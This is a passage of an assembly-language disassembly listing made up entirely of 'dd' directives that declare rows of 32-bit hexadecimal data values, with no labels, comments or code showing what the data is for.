		dd 6CE8A4B5h, 0C34B8E0Eh, 4A0159A6h, 89CC5AA5h,	0C4BFB3F1h
		dd 25FBE53Bh, 14D3288Ah, 0CFAA6271h, 0F0DB7467h, 0A3307A14h
		dd 82F4C932h, 1F9A37A9h, 4CD38D55h, 56988D1Fh, 0B266258h
		dd 5F8979Ch, 0C4B79E1Ch, 0D0243D2Ch, 8796B487h,	0D80499C6h
		dd 0DAD8979Ah, 0A8CB3943h, 77457ECEh, 9219971Eh, 39F01560h
		dd 69BF94DCh, 2CA6749Dh, 0E98202A4h, 0EA5729D0h, 0BFBD963Ah
		dd 9A147A40h, 2A6F8660h, 0EDE8614Eh, 0EFE605Ch,	27EEA7E2h
		dd 0AF053733h, 0F948A867h, 6CB7D636h, 0B696BA31h, 998B6EABh
		dd 9C72465h, 32C24B84h,	0E936EA2Ah, 0D84D10Fh, 21DC3ECAh
		dd 47DC9DCEh, 0B2EBAFFFh, 0C9EE928Ah, 7D788337h, 2C4281B6h
		dd 0A52E4C57h, 966EE803h, 998C386Dh, 2159F6B6h,	0EF79ED82h
		dd 568CFFD7h, 0F490F6E9h, 18A7CA7Ch, 0E5C643CDh, 0F31C2026h
		dd 0CCF36BC3h, 1FB2E753h, 0B5492A65h, 0A9173B89h, 87C1B5D1h
		dd 69BA8364h, 632D2A7Ch, 879A9943h, 79FF8CE5h, 0A8F02759h
		dd 5978ECC9h, 0E661F7C6h, 0DC237DF1h, 0DDB890C3h, 3231AC3Eh
		dd 66AB40C3h, 2096ADE1h, 5C885E92h, 2DE328B5h, 0DF4B3164h
		dd 0A6A689E9h, 6F767394h, 0F738B577h, 66709C2Ah, 643C9B5Ch
		dd 0CC6D5495h, 0EDF0A63Bh, 0BCC8015Fh, 68874C37h, 49368796h
		dd 59D596D0h, 434C7E9h,	0F7187B43h, 3A7995F1h, 2988F067h
		dd 0B8E59353h, 0AB5DA512h, 6D155FAEh, 43C703B9h, 7D5447C3h
		dd 307E89F4h, 98187BA4h, 12BEAB05h, 79D792C4h, 14961FE5h
		dd 0E38DE34h, 0B361DA5Dh, 43A14114h, 30CBAFF6h,	97DE9074h
		dd 5F1C72D0h, 8D534281h, 1DB0FE60h, 7CA668B7h, 0EDB7376Dh
		dd 8CB2B2A1h, 15B16BCEh, 35965AE5h, 3F284ABEh, 0EF9A6037h
		dd 5A0308A0h, 4FB0D0FDh, 62B65D81h, 0DB704F90h,	0EB55D09Ch
		dd 49D7FF23h, 0E7015DF1h, 0B5B0C637h, 7724E353h, 948C16A3h
		dd 0A0013B37h, 0E40FDF3Eh, 548DF464h, 0DE19DDBAh, 14BB51C4h
		dd 0AF23061Ch, 32836AB4h, 0DBA13B1Ch, 4BB0C67Ch, 0E3E8553Dh
		dd 880ACFF1h, 0B2EDF115h, 0C98AEE4Ch, 0AA09D128h, 0DF6B93A9h
		dd 1EC793h, 6C590A3Eh, 0D1914044h, 0F49378F0h, 6E9DBBE0h
		dd 35F5B232h, 0E4EF59B0h, 7C808000h, 32FED62Ah,	0A52EAD1h
		dd 5979A0E7h, 4CB9ED29h, 0B5AB5F62h, 1FBFAB3Ah,	0B8214C6Dh
		dd 0EC3B1C05h, 0EAEDF8DAh, 0AA56FCE2h, 50175EC2h, 0D9DEF8D9h
		dd 798BB885h, 0D5305B9Eh, 2DC0D2CCh, 0E3208B2Fh, 484421DCh
		dd 3EC365D3h, 1EF45CEFh, 8D9492FCh, 61537B69h, 59D670E7h
		dd 0A769C5E6h, 0B5FF5E63h, 40C121D4h, 1760E310h, 6C9D8D74h
		dd 0E7757487h, 96482827h, 43133930h, 0BB3B357Dh, 896831Ch
		dd 44304B6Dh, 7AA36EA5h, 9A86ED8Eh, 52F6A305h, 4BC3514Dh
		dd 0DE6B389Ah, 240AF6Ch, 6B28E56h, 3D8ABA0Eh, 4C4B8395h
		dd 10052500h, 5E0ADE75h, 0ACF3AB95h, 0FBC570A3h, 0DE554591h
		dd 2AA0D9B0h, 0A12AC006h, 4E7C484Eh, 3693666Eh,	0A132614Eh
		dd 71860903h, 2DC00F63h, 3C5615C4h, 79CD45Ch, 34DF40DAh
		dd 0FF697874h, 0C10EA05Ch, 0B217C4FFh, 36F67E3Eh, 7A2166A4h
		dd 6BCF6383h, 8BD34E89h, 82FC6D18h, 0C0AF2EA6h,	0BD3CB2B2h
		dd 0FD67FD12h, 402A055Ch, 90E1E733h, 0B7C8A73Ch, 0D74DC7BEh
		dd 7B93D86Dh, 0E94D1722h, 8CBC0DECh, 29BB3CC9h,	0B7FE63B7h
		dd 9BAAADE2h, 8B4635E7h, 11C16F7Eh, 35DC67ABh, 4D3729B5h
		dd 973D2748h, 0B5683A8Fh, 0B1D63FF0h, 2FA7375Ch, 30C86359h
		dd 24CEECD5h, 54B9996Bh, 26A35270h, 0B8FAF7B9h,	354E2196h
		dd 0DBA2F8E8h, 66F6EA90h, 10E3F4EDh, 74B99C30h,	0F0486754h
		dd 9C57B1BDh, 0C4D20C29h, 36BEF921h, 15DB36A7h,	931BD733h
		dd 0D6D13688h, 0D56BFBEAh, 7F8BD0C2h, 3CF7D6EEh, 0B5E2E5Bh
		dd 0AE36AAEFh, 6F160101h, 14EE5C52h, 0E721DDF5h, 0B399D5DDh
		dd 6B78ADD5h, 0D2B048C6h, 0E393521Eh, 8A04BC24h, 82DCB168h
		dd 1A38B919h, 84FDD8A0h, 42E51F4Fh, 0DDC9FC74h,	4ECD4B27h
		dd 5F848767h, 0B3EAB94h, 99571189h, 49E6D301h, 0EB7AFCA4h
		dd 51A7477Eh, 0CF9D843Fh, 0E078643Bh, 0F515358Fh, 0A4CD8058h
		dd 0E59F35FCh, 0DEB4B024h, 0A12936C5h, 7CE1D8BFh, 19AED18Dh
		dd 0C7E83D94h, 0E79EF45h, 0A948B92Ah, 0C6EEDD3Bh, 7C21674Ah
		dd 0A10E09CBh, 0C4849993h, 1E2E209Eh, 489A339h,	0CD3EAC09h
		dd 53C08CFBh, 0BD928AF3h
		dd 3B80837Dh, 0E6428C28h, 68688384h, 0ED6C52C3h, 0C7BFF8A8h
		dd 0BE96F423h, 312368BAh, 0A28C118Fh, 0B8BDF679h, 0DCA17574h
		dd 2C1481B8h, 0C2C06BFFh, 607D5999h, 791E2474h,	680F2B75h
		dd 963085F0h, 40C8D846h, 26096421h, 7974926h, 0C4391ADFh
		dd 0B5E35A49h, 917D7DAFh, 6129BF24h, 0B6F994A7h, 802036BAh
		dd 8523DDCDh, 627E015Dh, 108DEE4Fh, 0F636E515h,	5203D607h
		dd 38E78E0Ch, 0FFE89009h, 0EE09D91Ch, 0E6EF42D6h, 5F8BAE3Eh
		dd 7A4677B0h, 394FF572h, 0DB92176Dh, 525E7BA7h,	0EA87AD4h
		dd 0B1AF8AC4h, 337D9796h, 45EDFACCh, 0DBF6534Dh, 5EDBB7FCh
		dd 84ADD6E4h, 0E2647453h, 2757C792h, 8D824CB4h,	0DC7B31ADh
		dd 0EF30B871h, 3DB16DCDh, 7F5BD242h, 4A05997Dh,	496B6AE0h
		dd 4273C12Ah, 0EE351F07h, 237A8F0Ch, 0AF4A60EDh, 9B149887h
		dd 0F2E26686h, 0B0BD7F77h, 23E83C12h, 0B1FE2859h, 5803475Dh
		dd 0EDD7BB4Eh, 2B0A8EF7h, 0BE34136Fh, 668EB850h, 6B000BB0h
		dd 93A122D6h, 0A684F4Eh, 0A5687726h, 0F9457CC8h, 23460C40h
		dd 0BEA89C2Ch, 3EE5D324h, 481FE48Bh, 0FDEFFC5Fh, 537966B4h
		dd 0D55F3h, 134B4C23h, 0DE68349h, 22C17257h, 130B26C0h
		dd 2E4A6735h, 513CF66Ch, 1ABD685Fh, 0FE724926h,	2A4E7D86h
		dd 0ED05417Bh, 2AB33A8Ch, 23A27728h, 2E32AAB6h,	88620EABh
		dd 0EC1DCB61h, 7FAD5A03h, 0E4E4BC8h, 6C2F33EEh,	4148E54Fh
		dd 6F3575A0h, 645E4AD9h, 4E8EF15Fh, 26763E90h, 0A22F5933h
		dd 506639F3h, 3A1D41D2h, 0AE9ED96h, 0C84D6814h,	291B9ABAh
		dd 936CA750h, 72E2EB6Fh, 0BAD3CD17h, 8FC0A28Bh,	4F1F6FD6h
		dd 4D5EED95h, 466F7841h, 6F4A5DD0h, 696B00EEh, 9C0648ECh
		dd 939E8CBAh, 46B513A3h, 1FA7623Ah, 0EC96EC1Dh,	0B7461E63h
		dd 6446978Fh, 182872F4h, 0B9589663h, 2400B589h,	0A51026CCh
		dd 10417079h, 0CB23821Ch, 34F8B57Bh, 0B889F1D1h, 61C90890h
		dd 9D70C9BEh, 0EF80295Eh, 77302042h, 0F486A9F8h, 1042E6D0h
		dd 9FA359B9h, 645F689Bh, 0D0FB849h, 447197C8h, 21733F0Ah
		dd 0B01A8C73h, 6CE9AB9Ch, 0BCADBEBBh, 0AA3807CCh, 48C6F728h
		dd 0C4793352h, 0D4E19AF3h, 1A9C6F15h, 0FAA0374Dh, 96C08474h
		dd 2D7F455Bh, 3085622h,	36D14DBDh, 20510110h, 0C49BB13h
		dd 6F811973h, 0CE81E9BFh, 0A572E5DEh, 4A39B9CBh, 378EE3F3h
		dd 224895E3h, 2426F123h, 0D35F100Ch, 0C1B34FCh,	10F313ADh
		dd 64C4F8F4h, 5D74E01Eh, 5BFA9A74h, 446DA1C3h, 0BF4DC6D3h
		dd 0DE3F4C2Dh, 0F08863A1h, 0D4203E28h, 1A37BC67h, 0B0A08A38h
		dd 5C81AC47h, 0D82B09F9h, 0DE0523B0h, 946F972Ch, 32838791h
		dd 95E47F51h, 139AAC10h, 0C3751EBAh, 45AAE7ABh,	65A06502h
		dd 0B71AAC6Dh, 4FD9AE47h, 96CA248Ch, 57C24A6Eh,	852F8C93h
		dd 0C4D1F132h, 24971CFAh, 2D1F617Eh, 0EFDA57E6h, 662E7089h
		dd 5F581285h, 0EE7D06CAh, 36B41642h, 78AB93B6h,	6A71AA4Ch
		dd 60BDCD34h, 0A7AFC17Dh, 7AD4B27h, 0D5A4513Ah,	1F3207F9h
		dd 0EB37506Fh, 12E5CD43h, 3B30ACC7h, 0C1A5AA8h,	249D1F11h
		dd 8AA3C9F8h, 0AE33AEC3h, 0AC470259h, 7445C13Dh, 0D6D41DEFh
		dd 0B0908F7Ch, 0FBF1AC89h, 0F315EC50h, 0AD473D56h, 0E1FC36FAh
		dd 2334B29Fh, 6F0BE6DCh, 0B38AD1FDh, 71035D39h,	0CE7A8C11h
		dd 19CABE4Fh, 16E872A5h, 3AD239Eh, 0CB9A7FD4h, 24CCF4A2h
		dd 47F2A7E8h, 71474F96h, 731BC3DFh, 9D3CB8A9h, 0E74295F7h
		dd 0F9E49611h, 0D03694FDh, 0B9BE2A4Ah, 34C3E90Ah, 0AD59DF38h
		dd 0A7D948B5h, 44BC65h,	0F01DEBFh, 4729FEE0h, 0E050873h
		dd 0C232FB04h, 36DC68B3h, 12E6299Ah, 0AADA5EEEh, 45EFE0A5h
		dd 727EF53Bh, 63650DBDh, 0BFDCE210h, 4029BC52h,	0AA9A745h
		dd 77D20787h, 4D10C0EEh, 878449C3h, 0D2F9A029h,	57C21A21h
		dd 0A8914782h, 0DB1D25C2h, 2EA98E7h, 5D7E6031h,	671B1625h
		dd 370DC982h, 404619D6h, 95F5A049h, 0F33BFB6Fh,	993FDA52h
		dd 3E7D9289h, 798AF6F1h, 0FC8C5CFh, 98397D4Bh, 20017ED0h
		dd 0E064F98Ah, 0A3A6956Bh, 0CC63D42Dh, 0B3D85B07h, 0A5B8A758h
		dd 0CA0F19B6h, 69D7D2AAh, 0E7946298h, 203EA006h, 866394FFh
		dd 0C148024Ah, 943A47EEh, 0EFBBCA51h, 0E0774086h, 0C3C6EF7Bh
		dd 42341FBBh, 0BE2672D8h, 0F93B166Dh, 0EEA59C4Fh, 49494D56h
		dd 852A12E8h, 7EB0B627h, 0A464B4AAh, 391E9BA9h,	0AA8A9CA0h
		dd 77E11066h, 0AB4CA4EDh, 0F1700CC8h, 634DBF18h, 0A59431FFh
		dd 0C33D4C4h, 0BED43319h, 0E3204D1Ah, 2751C4A1h, 4C3AA22Ah
		dd 4725DE94h, 0EE12E383h, 0DCA79E48h, 667A04A9h, 10F6EAE9h
		dd 1759B401h, 5A04DF8Bh, 88CCCD83h, 46AF6EEDh, 8A483F33h
		dd 23F96B96h, 0B5CDCB5h, 837CF1D0h, 75B89133h, 2E6AAB22h
		dd 0D765A250h, 5ACD9BA4h, 3BD934C3h, 65DFF584h,	0FD815455h
		dd 8641DB86h, 0CE23897Eh, 7DC72AA7h, 0A5567EFh,	1C5E84A0h
		dd 1FC27F95h, 5EBB6C48h, 2E57756Ah, 0C62E8864h,	7A05F27Ah
		dd 4E57804Ch, 0D722B99h, 69AC619h, 1C9E6B5h, 0CCECA40Fh
		dd 93CA91E3h, 0DA88DFA5h, 788191D9h, 0CA5266ECh, 28C2C4F8h
		dd 7AC84D9Bh, 0CB527306h, 6DDED11Dh, 0D7107315h, 0CD9DA0AAh
		dd 2B429311h, 131BA80Dh, 0A3970BA5h, 7FCD23A2h,	1A861E4Fh
		dd 5DE2FB5Ah, 6CFF61DDh, 455B8866h, 76DB44A1h, 0E6C6DDCAh
		dd 85D1BA30h, 0C9E95CE8h, 0D6D42FC5h, 0A6ABA40h, 25583AB3h
		dd 0D295E308h, 0CC4D5DD9h, 0DE8ED0F0h, 131B02AAh, 71FB355Dh
		dd 0EBC94019h, 0D61F68FCh, 451FF983h, 1A3AACE3h, 0BA3632B2h
		dd 0E2844E52h, 0D90ECA4Ch, 0D22F8D45h, 0D7948883h, 2F919ACAh
		dd 0F46E80E0h, 0C7180088h, 44CF5A2Eh, 0D0DF51A4h, 38D29E5Ah
		dd 0FB0D1988h, 5CE10EE0h, 0EEF2CDDDh, 3A968663h, 0CAE7E1DAh
		dd 78490DD0h, 32205029h, 0ECFC7F12h, 0C8B910D5h, 0C840B020h
		dd 0AB72493Ah, 0D1CD2651h, 0CE3C5DFBh, 0C1BB6601h, 0F126581Eh
		dd 0C6EC533h, 20A25EDDh, 0A70A4121h, 8933B057h,	95D4F4D3h
		dd 0CB3AB4F7h, 39627501h, 0C28901E0h, 80E5658h,	0FE914658h
		dd 5880EB7Ch, 9960149Dh, 7E814BCDh, 5D86BF03h, 0B1B187C5h
		dd 0F66C0984h, 0C1727089h, 0BFA6C69Bh, 604DB107h, 75AC82BFh
		dd 0D9CBBDC3h, 0C2AAE321h, 8B4A76D0h, 17BB45EAh, 3901DD7h
		dd 90023DFEh, 0AD7ED47h, 341A25C4h, 2930EAD2h, 8173C90Fh
		dd 370BC358h, 864B7015h, 0BBE3B3C0h, 706B1A89h,	0A59D51ACh
		dd 174CA757h, 6257D3CBh, 16827500h, 0B2E673C1h,	0E0797D5Eh
		dd 0C38686EBh, 0AEC9F548h, 668D6B4Dh, 0B18E1848h, 4777A476h
		dd 500954FBh, 58C14BB3h, 0BBB3058Eh, 0B19F3FC0h, 0DD0D56A6h
		dd 0C90C98A2h, 0B18CD5F3h, 24CBB307h, 0A26ED1A6h, 0CB34633h
		dd 678857E0h, 0B1FF266Ah, 4A896FE6h, 4BF2C6A5h,	5D7826D2h
		dd 0AA31A788h, 0C6372309h, 0E4BA36E3h, 0E96270BFh, 8A15BA2Bh
		dd 0B962A19h, 5701E0A5h, 5901B875h, 0D3F5E7A8h,	69840B99h
		dd 2273E49Fh, 8E30668Bh, 0F1C9CD9h, 529EF3Bh, 0FEBC82B6h
		dd 5F615060h, 14D49C4h,	486776A7h, 2457CF7Ch, 0AFE57FD2h
		dd 0A843AD27h, 0FB327415h, 0F2BB76D8h, 1EF1C427h, 14C794FFh
		dd 0A6EF831Dh, 0F7331146h, 86CC86A6h, 49912031h, 0F1F6870Eh
		dd 3B43B59Bh, 75A68A16h, 0C4CBBF47h, 1D09D5C3h,	2C48895Eh
		dd 95A1928h, 44937554h,	938BE2B8h, 0B19476E9h, 5C4041AFh
		dd 0D77AAFEEh, 19ABD261h
		dd 3412FC71h, 0D0D7C44h, 6B7C284h, 647D840Bh, 2AE4885Ch
		dd 571A13CEh, 27A9A384h, 0C2BB6D52h, 0F7DBEFACh, 0F4C9E6C4h
		dd 0BCB77E1Bh, 7D7103Fh, 5DFC728Fh, 710169C7h, 0DEB83812h
		dd 0A9BB3F12h, 4C4AFFD4h, 986B6F82h, 0DF12DEB4h, 23E741E4h
		dd 0A43C8491h, 0AB3DEB0Ah, 0CAD801FDh, 97DAA689h, 74140B80h
		dd 0AF7A5714h, 85C51128h, 14DDD6D7h, 13C3E2EBh,	1CF7A867h
		dd 0FAE6BBEAh, 7EEB5B43h, 7304238Fh, 5C371243h,	2FE77AEh
		dd 16B24405h, 3927359Eh, 0F0A1D0FDh, 0D7D2652Ch, 0D66D2F86h
		dd 5E7FBFB5h, 918DC876h, 0E4C7355Ch, 40DFC267h,	36D3E9A4h
		dd 0BDBF9BACh, 0EF3BB400h, 681BF48Ch, 0CE570548h, 86841C3Bh
		dd 0B8BC2A97h, 0ED4AC679h, 0C679578Ch, 73CB4887h, 29FD68E0h
		dd 0F35F726Fh, 832357C5h, 0F6A3D810h, 84786E2Eh, 9FA5CC5Fh
		dd 0BA0DA8C2h, 840F30Ch, 369E0F4Fh, 58F44136h, 1D705A59h
		dd 4B612591h, 7028A729h, 0B8E77784h, 0E9454C70h, 0D82EA0AAh
		dd 0E95E9553h, 0C0CDFC44h, 0C084ADA5h, 1660BB68h, 992D8E01h
		dd 0A82A9F13h, 61184F64h, 484F7F63h, 9C7250CBh,	51153303h
		dd 787CA39h, 4FC9284Bh,	4213239Ch, 27BF6540h, 66694134h
		dd 6DAD5254h, 34738039h, 99C1CF81h, 0BFC103A8h,	79B3B950h
		dd 20D867B7h, 4A338B16h, 2156BAA2h, 30B03CCAh, 0B0534DEDh
		dd 0FBD86DFFh, 5EF12F3Eh, 2446B0A5h, 550258D2h,	0DE4A9D60h
		dd 2ABD7DFh, 3D4B6776h,	0C1A7B13Dh, 0CE368526h,	0B8B7DAB3h
		dd 8F685541h, 9CF8AAC5h, 0EF4BCF2Ah, 31BAD2C5h,	0F98D80BBh
		dd 0EE74BCE3h, 6076DA1Dh, 460979ADh, 42839335h,	0D730EA96h
		dd 35407EA8h, 0D8C6B203h, 8E777BABh, 0A1E40D1Ch, 61DC6D1Ah
		dd 920D4F19h, 88CC9B57h, 0EC1FECEh, 56DFB3EAh, 1CA2EEE6h
		dd 77C0C65Bh, 4FE2BC96h, 75D15BE9h, 5DF59B62h, 6B0C513h
		dd 674A0219h, 0E0012C5Eh, 7973F194h, 0AB830DAAh, 0D191D13h
		dd 0F58F8543h, 0BDE7E647h, 0FDBF939h, 9E266A95h, 646C3C51h
		dd 0ED0A82F2h, 0AB1BCD2Ah, 49A7EA8Eh, 2BEBA73Fh, 0BAA0521Dh
		dd 90BF602Fh, 186C131Ah, 0E64D830Ch, 0F8CD067Eh, 57D50ACh
		dd 2220836h, 0FF2F4DE7h, 8B161945h, 0E0222D3Ah,	0D60A47ECh
		dd 0D4D091D1h, 0FAEF666Fh, 0AE7F7D70h, 5BC1E866h, 0C722E584h
		dd 0D3FB676Bh, 82676434h, 526978FBh, 0E0CE642Dh, 0AA5C37DFh
		dd 78E00A3Fh, 41A8CD3Dh, 3668D99Dh, 0DDF1FED3h,	764F0E3Ah
		dd 0D4C1BE7Ah, 0B282C1CFh, 408F6675h, 4091C167h, 9946E505h
		dd 0DB5EBF4Fh, 22E59103h, 0BBBEC904h, 570D57C7h, 9D50A6B2h
		dd 4F137B93h, 0D5D20CDBh, 35BE5D8Ch, 608543A3h,	0EE13154Ah
		dd 710B12Ch, 59CC8B3Ch,	0F9C71247h, 0B166187Bh,	45055D6Bh
		dd 0C60D421Bh, 0DA66084Dh, 57CF2584h, 9965240Bh, 5F688BCDh
		dd 0C6F18C61h, 3A479577h, 87E70217h, 0F1EB1506h, 0E7B02DACh
		dd 0BD46C4BAh, 0D685ED68h, 0C3CBFB54h, 98AC4037h, 1937EEE5h
		dd 0DC6BED49h, 77738BBDh, 7EF1D84Eh, 5236153Dh,	0C4612A2Ch
		dd 0D9E8C305h, 0D046A5C5h, 0E454BDD6h, 8B40354h, 31413C93h
		dd 928DF92Ch, 96DE9769h, 9373CC2Dh, 1070B8F1h, 0FFB418ACh
		dd 3CFAA72Bh, 133AE93Bh, 208082BCh, 0E43B1AA5h,	174327C9h
		dd 12B6B2BCh, 5BC1E5C5h, 9560B703h, 6F131EFBh, 7357F2E4h
		dd 5DA74FECh, 2CC4809h,	0E4B4B321h, 9704F050h, 0B9EF52F5h
		dd 205E511Eh, 0A5D6B7FEh, 0F74B81DEh, 4AD93DE9h, 9278D56Ah
		dd 19474815h, 97A87F63h, 0C0D87193h, 6503307Eh,	10C8B31Bh
		dd 0A05CAB91h, 0D2306870h, 0A7128ECDh, 0A4968508h, 9446556h
		dd 0EA736774h, 57828DD2h, 0BFD9840Dh, 8A26B0B1h, 0F9397FF2h
		dd 0D1F16672h, 0C3829B55h, 48527C8Dh, 53B766AFh, 632183D9h
		dd 0E4006E8Ch, 79FD9E9h, 3C0E2514h, 4FA84105h, 5E5AAC6Ch
		dd 4C871FB5h, 8AF0B4CCh, 6B03975Ch, 0F02D5A03h,	34A20535h
		dd 0EBBE010Bh, 0E1BE866Fh, 0B5681961h, 280C0979h, 8BFEA050h
		dd 8681AB71h, 1C4583ACh, 0C9C5C322h, 0ED448239h, 73CBA0DEh
		dd 0E6EA08C5h, 0B2FCD0F7h, 0F669DED3h, 0F7D8D3C1h, 8ED547CCh
		dd 1B67FD88h, 617C0B72h, 0ABD25DF8h, 1EB89167h,	0D1D4AB3Fh
		dd 463357D6h, 1C58B3EDh, 57E01454h, 90379457h, 0A33A6263h
		dd 8C655ABDh, 5DFF882Ch, 85CAD48Fh, 0BE7D12BFh,	0CA0D0B3Ah
		dd 0EE75CA03h, 11E224BDh, 92EF5DCAh, 55B116F2h,	0E98D8100h
		dd 0C902F3A9h, 1F1FF3D9h, 1ADC085Dh, 0FF1A3056h, 0C4F48260h
		dd 248F6A1Eh, 5B4222E3h, 1E7173EFh, 223AFFB6h, 802D9B15h
		dd 87B35576h, 54FEA277h, 0E8529FBh, 79B90B12h, 7EF9E38Ch
		dd 236C42EDh, 79B837E8h, 92C35EB5h, 3FD71263h, 6F30E873h
		dd 4F058864h, 13CE8A88h, 14CA17B1h, 0C6870FFh, 6B187C38h
		dd 0DDA76912h, 844AAB3h, 41E140C9h, 661541ECh, 0F6B6495Eh
		dd 469EAA96h, 0B062D5CFh, 23462300h, 77A5CFD0h,	0EAD8D307h
		dd 87DA94E9h, 0F08F6ECAh, 55D171BBh, 0D694F628h, 1D0CAE4Fh
		dd 1D458CB7h, 52EA5497h, 4E05D335h, 5DFAFC94h, 0E40ABA22h
		dd 0C402A10Eh, 0DF35F2EAh, 906FBBC2h, 6314312Bh, 28B0C63Ah
		dd 116063B3h, 4770FF24h, 54517760h, 2BE0540h, 64A99615h
		dd 0D2C9A726h, 0F2B7A5E7h, 52FD7307h, 82CDCD1Ah, 74EA96Ch
		dd 0D94FE434h, 0E4524A28h, 3DCD0C76h, 36C84FA3h, 6E8AE5B9h
		dd 0DA7AE668h, 2FE25C70h, 366536A1h, 45B6343Bh,	9761C16Fh
		dd 0C2A75788h, 0BF39EF82h, 90051AC9h, 1F6729BEh, 7616D863h
		dd 0C3F0AEF1h, 0BCD49D3Ah, 5CE2666Dh, 4C02AD4Fh, 0FAF8DD44h
		dd 0DEA0BF42h, 20B4243Eh, 0AB146B01h, 65465C18h, 36A72075h
		dd 41A58D1Bh, 9E1DC286h, 78CFFCEEh, 9AAB2FB6h, 0CE295404h
		dd 1F46013Dh, 25CACF9Bh, 0B8260ED7h, 44CA0D62h,	9B04F5E5h
		dd 7BDFD648h, 0A4160B63h, 10AE40B2h, 6BA81F3Ch,	0CC0050ECh
		dd 5872DBE3h, 0FE4A9EFBh, 0B219285Bh, 0AC31457Dh, 904CB916h
		dd 0CF14D66Dh, 0A1387556h, 0C01BB9F7h, 7DE46454h, 42842164h
		dd 89318891h, 0EE38A70Dh, 0FC48DE6Fh, 5FA73A79h, 0C62A3743h
		dd 65D20331h, 295315DCh, 0F3DD608Ch, 1C33A51Eh,	4B750A8Eh
		dd 8F18D698h, 0A27535F7h, 0FE574243h, 0C0CF93B7h, 63FB4ADEh
		dd 6A969500h, 8A1741BDh, 0E97CEF06h, 38FC1663h,	9D26F4Fh
		dd 44911402h, 72A1B1C2h, 25C787B0h, 1B294C50h, 920AACD5h
		dd 0DB3FB888h, 0B80477A6h, 0A7CC6026h, 0E673288Ch, 485AB4DDh
		dd 5AC16774h, 921BDA2Bh, 0A44C9E3Ch, 4BCC7CD0h,	88433AF4h
		dd 0F13023F0h, 0F0630F90h, 0D673FEDEh, 749329E7h, 1DCF0B5Ch
		dd 60AB54ACh, 0E6B4622h, 0B202AB9Bh, 9AA21917h,	61230245h
		dd 8E9DA28Ah, 2042DCCh,	44FB3AF8h, 77D845C7h, 463ADC66h
		dd 0C6B100D7h, 3A34FCF1h, 6BE17EEh, 0A6D25AC4h,	0B9884365h
		dd 6F8B27D7h, 6279738Ah, 0DCF72C43h, 0F806C22Bh, 85F79283h
		dd 6D73A22h, 9514D2ECh,	0E939E1D4h, 0E23CB0A3h,	10C49DD4h
		dd 0BC433B09h, 2857FC0Fh, 0F4B749AAh, 96051464h, 840CBAF1h
		dd 0C2CE0AAAh, 1EE730Ah, 1B93CC5Ch, 0D4CCDFEEh,	888A9AC1h
		dd 20213594h, 46962364h, 565008AFh, 0EB72D07h, 127C8167h
		dd 0DC7CF8F0h, 0A55213Bh, 7D086097h, 77CCA3A4h,	1C149622h
		dd 958C64BFh, 0D71BD524h, 0E208ED6Fh, 0F74853A2h, 1E7196AFh
		dd 0A0B77812h, 655431DCh, 41CEF3A4h, 0E6A3C060h, 1B340E05h
		dd 3A7EC132h, 0A2402189h
		dd 34BB670Dh, 626243F5h, 8FA2E16Ch, 4781E28Ch, 3A351F4Ah
		dd 0CAB79FA9h, 2C5A99D1h, 2166BD55h, 0BEB6F033h, 0C062778Fh
		dd 505D17EFh, 27544F23h, 0F8D3861Ah, 93AE0EDFh,	394C18A8h
		dd 797F6632h, 0A70C82E8h, 0C24FCB4Dh, 8345AE25h, 99B10414h
		dd 8BCFDC46h, 9B1B3C00h, 2F120CFCh, 0D9F47303h,	6E425ACCh
		dd 0E515CCA8h, 42B7DA78h, 0FD6D1C71h, 209E1052h, 0DDA8002Eh
		dd 6DDE2B42h, 249892BFh, 77722D40h, 5C2DE095h, 431526CAh
		dd 0A2FD9112h, 88237D39h, 0B83DA2F9h, 0AF4F9701h, 242BEBBDh
		dd 0FD9B1EAAh, 33F47E3h, 0A3548683h, 2DC30C94h,	2E80DB91h
		dd 0E0150CF9h, 0A687D4F7h, 616A80F8h, 0EF9FC7A8h, 9E9ED084h
		dd 6F29B10Fh, 0EE89CCDBh, 7D2978B6h, 74359C92h,	3BB7FF06h
		dd 577A8F07h, 8A0F13Ch,	856FFA0Dh, 0DCA2A782h, 0F7C8A041h
		dd 0BD86FADAh, 9636AEB0h, 1CD49EF4h, 3AB570F0h,	12D6392Dh
		dd 95F6107Ch, 663DE374h, 0CB527644h, 90FDBCE8h,	17BD6652h
		dd 11A33ECEh, 0CE340040h, 0AEB769D0h, 4AA5BF28h, 2631991Eh
		dd 0FDAC7037h, 92BAFD02h, 0F5DBCE7Dh, 0CE5A3CBEh, 5140ABC1h
		dd 0FA5D5424h, 89533A69h, 5A2F28CBh, 0A2BCA451h, 0E23E529Eh
		dd 0D6146BF8h, 584E82EEh, 940C8310h, 0A4693CC4h, 0B94A886Ah
		dd 8AA2ADCh, 90A9DEEAh,	5260EC2Dh, 0E13B0752h, 5BF8D931h
		dd 0D0E3431Bh, 0B1583FE8h, 557D981Ah, 52A50823h, 948FEF07h
		dd 0F963C9A1h, 570B9E66h, 0DE978361h, 0CAC7CA7Dh, 0B8F05618h
		dd 1D07F694h, 6A488D0Bh, 66EE5C0Ch, 72E795E4h, 66CDCFFBh
		dd 0A506EDC0h, 0F596318Dh, 91CF9FAFh, 0C9F33C7h, 0A19CC607h
		dd 196BCE16h, 0F8AA4846h, 0CF1AFBFEh, 0EA83F404h, 644D2CEAh
		dd 2748F601h, 638A0E36h, 748FB2D6h, 6D2170B5h, 0B68B1335h
		dd 0DE0A8851h, 6502BB51h, 0ECDFF5A9h, 438E4547h, 3CB00051h
		dd 5EEC0470h, 0F29BB217h, 0BF94081h, 9CE4DC8h, 5A7FC158h
		dd 0FCBB0CA5h, 444575D5h, 352FD843h, 1CA702B1h,	5A5DA02Eh
		dd 58BB1AD6h, 12175469h, 0FABC3D34h, 5136BEB9h,	0B68436ACh
		dd 8D1E9CA9h, 0B1B01A09h, 5F4860B7h, 4FDE8229h,	97DE2EDAh
		dd 0E092818Dh, 2E6A9D06h, 86C0AA35h, 0F2EC9F46h, 439CC58Dh
		dd 0B73084A0h, 73B6D6F1h, 18051803h, 13F1B241h,	30CB07D6h
		dd 77DA7450h, 3A602256h, 0AB7F980Ah, 1587729h, 4843B7C4h
		dd 3467AEF6h, 1988E32Fh, 78FBADD5h, 179F0400h, 0CBC5C029h
		dd 1D117406h, 6E041082h, 86655E1Bh, 4866BA74h, 0CDE9B8E2h
		dd 0DDD39B29h, 690C31B7h, 6FE9B7EBh, 9D2DC2E6h,	0A32196B2h
		dd 0A9982678h, 0D62B2471h, 9909EF87h, 3B042B8Ch, 0CDBC40E1h
		dd 6E70BABDh, 0BD257A55h, 3527CFB8h, 4BFD3EEFh,	6F3FED4Ch
		dd 3800966Dh, 6AA240F5h, 0E9C781C5h, 0F438822Bh, 0A46B4472h
